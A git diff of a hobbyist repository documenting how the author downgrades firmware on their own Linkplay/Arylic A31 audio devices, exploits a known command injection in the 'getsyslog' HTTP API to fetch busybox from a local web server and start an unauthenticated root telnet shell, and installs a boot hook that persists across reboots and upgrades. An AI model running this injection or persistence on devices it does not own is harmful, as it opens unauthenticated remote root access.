diff --git a/Downgrade.md b/Downgrade.md index 10beb10..dd58513 100644 --- a/Downgrade.md +++ b/Downgrade.md @@ -8,9 +8,28 @@ Before we are able to downgrade the software, it is important to understand how The URL to the upgrade server can be retrieved via API: ``` -curl 'http://10.1.1.52/httpapi.asp?command=GetUpdateServer' +curl 'http://10.1.1.38/httpapi.asp?command=GetUpdateServer' # my device responds with: http://silenceota.linkplay.com/wifi_audio_image ``` +You should also get the product ID (called 'project') that is used on your Linkplay device: +``` +curl -s 'http://10.1.1.38/httpapi.asp?command=getStatusEx' | jq +{ + "uuid": "FF31F09E2B9A872D18C05AAD", + "DeviceName": "Mel Luca", + "GroupName": "Mel Luca", + "ssid": "Music", + "language": "en_us", + "firmware": "4.6.415145", + "hardware": "A31", + "build": "release", + "project": "RP0011_WB60", + "priv_prj": "RP0011_WB60", + "project_build_name": "a31rakoit", + "Release": "20220427", + ... +} +``` With Wireshark I have sniffed how the upgrade process is working and which files are required. At first the device gets a list of all (or at least many) Linkplay products ``` @@ -36,8 +55,8 @@ http://ota.rakoit.com/release/RP0011_WB60/product.xml The following table lists some of the IDs | Product ID | Description | | --------------- | ------------- | -| RP0011_WB60 | Arylic WiFi and Bluetooth 5.0 HiFi Stereo Amplifier Board Up2Stream Amp 2.0 | -| RP0011_WB60_S | Arylic A30 Pro and newer internal version of Up2Stream Amp v2.0 | +| RP0011_WB60 | Arylic WiFi and Bluetooth 5.0 HiFi Stereo Amplifier Board Up2Stream Amp 2.0 (the pcb on my board shows version 1.1)| +| RP0011_WB60_S | Arylic newer internal version of Up2Stream Amp v2.0 | | RP0016_S50PRO_S | Arylic S50 Pro | | UP2STREAM_PRO_V3 | Arylic Up2Stream Pro v3 | @@ -90,7 +109,7 @@ I'm not sure if the **** tag is used. I've modified the URLs (different FQ | http://silenceota.linkplay.com/wifi_audio_image/2ANRu7eyAEYtoo4NZPy9dL/20201026/layout | Layout of file system in flash | | http://silenceota.linkplay.com/wifi_audio_image/2ANRu7eyAEYtoo4NZPy9dL/20201026/a31rakoit_new_uImage_20201026 | main image | -The other images, e.g. uBoot loader (was already installed), user and user2 images were not downloaded. +The other images, e.g. uBoot loader (was already installed), user and user2 images were not downloaded during the downgrade process. > **Note:** > If an upgrade is available, it may be installed automatically without any notice! In the 4Stream app you might see that a new version is highlighted with "new" and you might get a popup with a notification. I have not found out, when an update is installed automatically. @@ -116,7 +135,7 @@ You may modify the configuration file on your webserver to use different folders > **Note:** > The modification of the two FQDNs will prevent any further updates! -Here it is documented from v4.2.8826 to v4.2.8026. To get information about the product ID (project), the current version and release date you can use the "getStatusEx" command. The following output is "enhanced" / beautified with the tool "jq" (JSON processor): +Here it is documented from v4.2.8826 to v4.2.8020. To get information about the product ID (project), the current version and release date you can use the "getStatusEx" command. The following output is "enhanced" / beautified with the tool "jq" (JSON processor): ``` curl -s 'http://10.1.1.52/httpapi.asp?command=getStatusEx' | jq @@ -271,6 +290,7 @@ curl -s 'http://10.1.1.58/httpapi.asp?command=getStatusEx' | jq "priv_prj": "RP0011_WB60_S", "project_build_name": "a31rakoit", "Release": "20220427", + ... ``` At first you have to download the following XML files, install them in the appropriate directory on your webserver (you may keep the path and create the directories as required). @@ -288,7 +308,7 @@ At first you can download the actual ***products.xml*** file, remove everything curl -O http://silenceota.linkplay.com/wifi_audio_image/products.xml ``` -I've modified the FQDNs to point directly to the IP address of my web server and have only these three products in the list: +I've modified the FQDNs to point directly to the IP address of my web server and have only these three products in the list (only the 'product' in the middle with product ID ***RP0011_WB60_S*** is used in the example): ``` @@ -296,19 +316,19 @@ I've modified the FQDNs to point directly to the IP address of my web server and RP0011_WB60 WiiMu-A31 FF31F09E - http://10.1.1.22/a31/RP0011_WB60/20200220/product.xml + http://10.1.1.22/linkplay/a31/RP0011_WB60/20200220/product.xml RP0011_WB60_S WiiMu-A31 FF31F09E - http://10.1.1.22/a31/RP0011_WB60_S/20200220/product.xml + http://10.1.1.22/linkplay/a31/RP0011_WB60_S/20200220/product.xml UP2STREAM_PRO_V3 WiiMu-A31 FF31F09E - http://10.1.1.22/a31/UP2STREAM_PRO_V3/20200220/product.xml + http://10.1.1.22/linkplay/a31/UP2STREAM_PRO_V3/20200220/product.xml ``` @@ -346,25 +366,23 @@ Here is a copy from the file with version 4.2.8020, release date 0200220 for ref ``` -Modify the in the ***product.xml*** file to be one day ahead of your current release date, e.g. 20220428 if your current release date is 20220427. You may also combine the content with a different MCU (project). Be sure that the project name is exactly matching your device! As before I've also modified the FQDNs to point to my own domain and the subdirectory names to be more descriptive. +Modify the in the ***product.xml*** file to be one day ahead of your current release date, e.g. 20220428 if your current release date is 20220427. You may also combine the content with a different MCU (project). Be sure that the project name is exactly matching your device! As before I've also modified the FQDNs to point to my own domain and the subdirectory names to be more descriptive. The last two files with '.jffs2' are removed, because they were not available from the update server (actually they have an error message as a content that the file was not available). ``` 20220428 27178fb574eafbdab8e1493a1569dd36 - http://10.1.1.22/a31/RP0011_WB60_S/20200220/md5.txt - http://10.1.1.22/a31/RP0011_WB60_S/20200220/MVver - http://10.1.1.22/a31/RP0011_WB60_S/20200220/layout - http://10.1.1.22/a31/RP0011_WB60_S/uboot_v632.img - http://10.1.1.22/a31/RP0011_WB60_S/backup_new_v1141.img - http://10.1.1.22/a31/RP0011_WB60_S/20200220/a31rakoit_new_uImage - http://10.1.1.22/a31/RP0011_WB60_S/20200220/user.jffs2 - http://10.1.1.22/a31/RP0011_WB60_S/20200220/user2.jffs2 + http://10.1.1.22/linkplay/a31/RP0011_WB60_S/20200220/md5.txt + http://10.1.1.22/linkplay/a31/RP0011_WB60_S/20200220/MVver + http://10.1.1.22/linkplay/a31/RP0011_WB60_S/20200220/layout + http://10.1.1.22/linkplay/RP0011_WB60_S/uboot_v632.img + http://10.1.1.22/linkplay/a31/RP0011_WB60_S/backup_new_v1141.img + http://10.1.1.22/linkplay/a31/RP0011_WB60_S/20200220/a31rakoit_new_uImage RP0011_WB60_S 0022 670202 - http://10.1.1.22/a31/RP0011_WB60_S/RP0011_WB60_S0022.mcu.bin + http://10.1.1.22/linkplay/a31/RP0011_WB60_S/RP0011_WB60_S0022.mcu.bin ``` @@ -391,14 +409,18 @@ Modify the version (ver, 4th column) in the ***layout*** file (4th line) with th 00d80000:00080000:00000000:00000000:2:jffs2:user:1 00250000:00b30000:00000040:00415146:0:null:kernel:8533256 ``` +After you've downloaded the images and prepared the files as described above, you need to inform the device about your own web server. On my Mac mini it's the directory ***/Library/WebServer/Documents/linkplay*** that is accessible as http://10.1.1.22/linkplay. The ***products.xml*** file needs to be located in the main directory of that URL. Trigger an update with the following commands and verify the progress with Wireshark running on your web server. You may use "http || dns" as a filter to see the downgrade process: ``` -curl -s 'http://10.1.1.58/httpapi.asp?command=SetUpdateServer:http://10.1.1.22/a31' +# inform the device about the local web server URL +curl -s 'http://10.1.1.58/httpapi.asp?command=SetUpdateServer:http://10.1.1.22/linkplay' +# trigger an update/downgrade (may not be required) curl -s 'http://10.1.1.58/httpapi.asp?command=getMvRemoteUpdateStartCheck' +# retrieve the status about the update/downgrade curl -s 'http://10.1.1.58/httpapi.asp?command=getMvRemoteUpdateStatus' ``` -To verify that the downgrade was sucessfull, you may request the extended status from the device. +To verify that the downgrade was sucessful, you may request the extended status from the device. ``` curl -s 'http://10.1.1.58/httpapi.asp?command=getStatusEx' | jq { diff --git a/README.md b/README.md index ed79fa3..be2088f 100644 --- a/README.md +++ b/README.md @@ -31,4 +31,7 @@ Information about the boot process, file systems including environment (NVRAM). The first version on my devices was 4.2.8020 from 2020/02/20 (20th of Feb 2020). That version still has some vulnerabilites to be able to get onto the CLI with telnet by pushing a single command to these devices. Although it is good when the vendor is providing upgrades with additional feature and security fixes, I'd still like to be able to "hack" into the CLI. Therefore I had to downgrade the firmware. [Downgrade Firmware](/Downgrade.md) ## Install Persistant Hook -When the device reboots, any changes in ramfs are lost, however there is a way to install a script or command so that it survives a reboot. [Install Persistant Hook](/persistant-hook.md) \ No newline at end of file +When the device reboots, any changes in ramfs are lost, however there is a way to install a script or command so that it survives a reboot. [Install Persistant Hook](/persistant-hook.md) + +## Download and Prepare Firmware on your own web server +If you have some more Linkplay devices, the following information an 'list of curl commands' may help you to download and prepare the firmware on your own web server. [Download and prepare Firmware](/download-firmware.md) \ No newline at end of file diff --git a/TELNETD.md b/TELNETD.md index b836b0b..9c8648f 100644 --- a/TELNETD.md +++ b/TELNETD.md @@ -3,21 +3,25 @@ To enable telnetd on these devices, a security vulnerability had to be exploited The command that has this vulnerability is **_"getsyslog"_**, see https://developer.arylic.com/httpapi/#get-system-log and https://labs.withsecure.com/advisories/linkplay-firmware-wanlan-remote-code-execution. The command has an option to add an IP address from a slave device, e.g. **_"getsyslog:ip:10.1.1.90"_**, so a CLI command is executed on the device to retrieve the system log from the slave device that includes the IP address. Instead of just having an IP address as a parameter, that CLI command can also include a ";" and a second CLI command. You do not even have to provide an IP address, but can append the ";" and second command directly after the ":ip:". -The following code snippets are using the IP address 10.1.1.58 for my Arylic Up2Stream device and 10.1.1.22 for a web server running on my local MacMini. +If your Linkplay device is running a newer version, you may have to downgrade the firmware first, see [Downgrade Firmware](/Downgrade.md). + +The following code snippets are using the IP address 10.1.1.58 for my Arylic Up2Stream device and 10.1.1.22 for a web server running on my local MacMini. You need to create the subdirectories on your web server and copy the busybox binary to it. On my Mac mini it's the directory ***/Library/WebServer/Documents/linkplay*** that is accessible as http://10.1.1.22/linkplay. To organize all the files on my web server I've created several subdirectories below to store the binary file (***.../linkplay/a31/bin/busybox***). ``` -curl "http://10.1.1.58/httpapi.asp?command=getsyslog:ip:10.1.1.22/index.html;mkdir+/tmp/bin;wget+-O+/tmp/bin/busybox+-T+5+http://10.1.1.22/a31/bin/busybox+-q;chmod+555+/tmp/bin/busybox;ln+-s/tmp/bin/busybox+/tmp/bin/telnetd;/tmp/bin/telnetd+telnetd+-l/bin/ash;" +curl "http://10.1.1.58/httpapi.asp?command=getsyslog:ip:10.1.1.22/index.html;mkdir+/tmp/bin;wget+-O+/tmp/bin/busybox+-T+5+http://10.1.1.22/linkplay/a31/bin/busybox+-q;chmod+555+/tmp/bin/busybox;ln+-s/tmp/bin/busybox+/tmp/bin/telnetd;/tmp/bin/telnetd+telnetd+-l/bin/ash;" ``` The command above is executing the following commands on the device in addition to the "getsyslog" request: ``` mkdir /tmp/bin -wget -O /tmp/bin/busybox -T 5 http://10.1.1.22/a31/bin/busybox -q; +wget -O /tmp/bin/busybox -T 5 http://10.1.1.22/linkplay/a31/bin/busybox -q; chmod 555 /tmp/bin/busybox; ln -s /tmp/bin/busybox /tmp/bin/telnetd; /tmp/bin/telnetd telnetd -l/bin/ash; ``` > **Note:** -> Don't forget to add a ";" at the end inside the quotes. Replace all spaces with "+". +> Don't forget to add a ";" at the end inside the quotes. Replace all spaces with "+" if you want to create your own URL with curl. -The tool **_"busybox"_** is like a swiss army knife and combines a lot of CLI commands in a single binary file. That file was stripped down already in my version and does not include a telnetd anymore. Therefore you have to get a full version from somewhere. +The tool **_"busybox"_** is like a swiss army knife and combines a lot of CLI commands in a single binary file. That file was stripped down in the version that was running on my Linplay device and does not include a telnetd anymore. Therefore you have to get a full version from somewhere. -A version of busybox is provided here, but there is an OpenWRT archive where you can get precompiled binaries for almost all utilities you may need. See section **_Hardware and Firmware_** for more information. On my web server (10.1.1.22) I've created subdirectory ***/a31/bin*** and have copied the busybox binary to that directory +A version of busybox is provided here (see binary directory). That binary is compatible with the SoC that is running on the Linkplay A31 module, see [Hardware and Firmware](/Hardware.md) for details about the hardware. + +There is an OpenWRT archive available where you can get precompiled binaries for almost all utilities you may need. See section [Hardware and Firmware](/Hardware.md) for details. diff --git a/download-firmware.md b/download-firmware.md new file mode 100644 index 0000000..2f6372d --- /dev/null +++ b/download-firmware.md @@ -0,0 +1,26 @@ +# Download and Prepare Firmware on your own web server +After I had downloaded some firmware files my web server became quite messy, so I've created a list of commands to download firmware for different products and versions. + +/Library/WebServer/Documents/linkplay +|-- products-original-2024-01-03.xml +|-- products.xml +|-- product.xmls-2024-01-03 +| |-- all-products.xml +| |-- product-XXXXX.xml +| |-- ... +|-- a31 +| |-- RP0011_WB60 +| | |-- 20200220 +| | | |-- a31rakoit_new_uImage_20200220 +| | | +-- ... +| | |-- 20220427 +| | | +-- ... +| | +-- sql +| +-- lib +| +-- ZendFramework-HEAD ++-- public + |-- css + |-- images + +-- scripts + + products.xml \ No newline at end of file diff --git a/persistant-hook.md b/persistant-hook.md index 671e1da..a1a976c 100644 --- a/persistant-hook.md +++ b/persistant-hook.md @@ -1,5 +1,7 @@ # Install Persistant Hook -When the device reboots, any changes in ramfs are lost, but the device is using flash with squashfs and jffs2 file systems. I have not discovered how to modfiy and upload an image to squashfs, but with jffs2 there is a way to install a hook. +When the device reboots, any changes in ramfs are lost, but the device is using flash with squashfs and jffs2 file systems. I have not discovered how to modfiy and upload an image to squashfs, but with jffs2 there is a way to install a hook. That hook even survives an upgrade that is done afterwards (see end of this section)! + +To start, you have to enable telnet and that may require a downgrade in the first step. See [Downgrade Firmware](/Downgrade.md) and [Enable telnetd](/TELNETD.md). Below is an output of mount command and ***cat /proc/mtd*** output: ``` @@ -59,7 +61,7 @@ fi # ######### additional code to install telnetd and more ############# # get telnetd from full version of busybox and start in background mkdir /tmp/bin -wget -O /tmp/bin/busybox -T 5 http://10.1.1.22/a31/bin/busybox -q +wget -O /tmp/bin/busybox -T 5 http://10.1.1.22/linkplay/a31/bin/busybox -q chmod 555 /tmp/bin/busybox ln -s /tmp/bin/busybox /tmp/bin/telnetd sn=`ps | grep busybox | wc -l` @@ -86,7 +88,7 @@ For testing purpose, you may ***reboot*** and ***telnet*** to the device afterwa Here's the file from the device where the script was NOT present. There is a little "enhancement" included, because the downloaded version of busybox is used as the shell ***/tmp/bin/ash*** instead of "build-in" version. You can see the difference, because the shell prompt message is ***BusyBox v1.23.2 (2016-09-27 07:54:34 CEST) built-in shell (ash)*** instead of ***BusyBox v1.12.1 () built-in shell (ash)***. -A list of all commands that are included is shown with ***/tmp/bin/busybox --help*** or just help (see shell script below). You may create symbolic links for these commands or start them by e.g. ***/tmp/bin/busybox telnet 10.1.1.52***. +A list of all commands that are included is shown with ***/tmp/bin/busybox --help*** or just help (see shell script below). You may create symbolic links for these commands (recommended, see below for an example) or start them directly, e.g. ***/tmp/bin/busybox dmesg***. ``` mkdir /vendor/user cat <<\EOF > /vendor/user/user.sh @@ -95,7 +97,7 @@ cat <<\EOF > /vendor/user/user.sh sleep 5 # get telnetd from full version of busybox and start in background mkdir /tmp/bin -wget -O /tmp/bin/busybox -T 5 http://10.1.1.22/a31/bin/busybox -q +wget -O /tmp/bin/busybox -T 5 http://10.1.1.22/linkplay/a31/bin/busybox -q chmod 555 /tmp/bin/busybox ln -s /tmp/bin/busybox /tmp/bin/telnetd ln -s /tmp/bin/busybox /tmp/bin/ash @@ -122,3 +124,34 @@ The shutdown of "apcli0" does not work within the script, however it works a bit So far, the device fetches the full version of busybook after each reboot, but stores that binary in ramfs. With ***df*** command you can verify the free space on each of the file systems. +The good thing is, that this hook even suvives an upgrade that is done afterwards (tested with v4.6.415145, release date 2022/04/27.): +``` +Mac-mini ~ % curl -s 'http://10.1.1.52/httpapi.asp?command=getStatusEx' | jq +{ + "uuid": "FF31F09EAC1C213319CC79B5", + "DeviceName": "Wohnzimmer", + "GroupName": "Wohnzimmer", + "ssid": "Wohnzimmer_4029", + "language": "en_us", + "firmware": "4.6.415145", + "hardware": "A31", + "build": "release", + "project": "UP2STREAM_PRO_V3", + "priv_prj": "UP2STREAM_PRO_V3", + "project_build_name": "a31rakoit", + "Release": "20220427", + "temp_uuid": "B4D39CBCE2C2015F", + ... +} +Mac-mini ~ % telnet 10.1.1.52 +Trying 10.1.1.52... +Connected to 10.1.1.52. +Escape character is '^]'. + + +BusyBox v1.23.2 (2016-09-27 07:54:34 CEST) built-in shell (ash) + +/system/workdir # exit +Connection closed by foreign host. + ``` +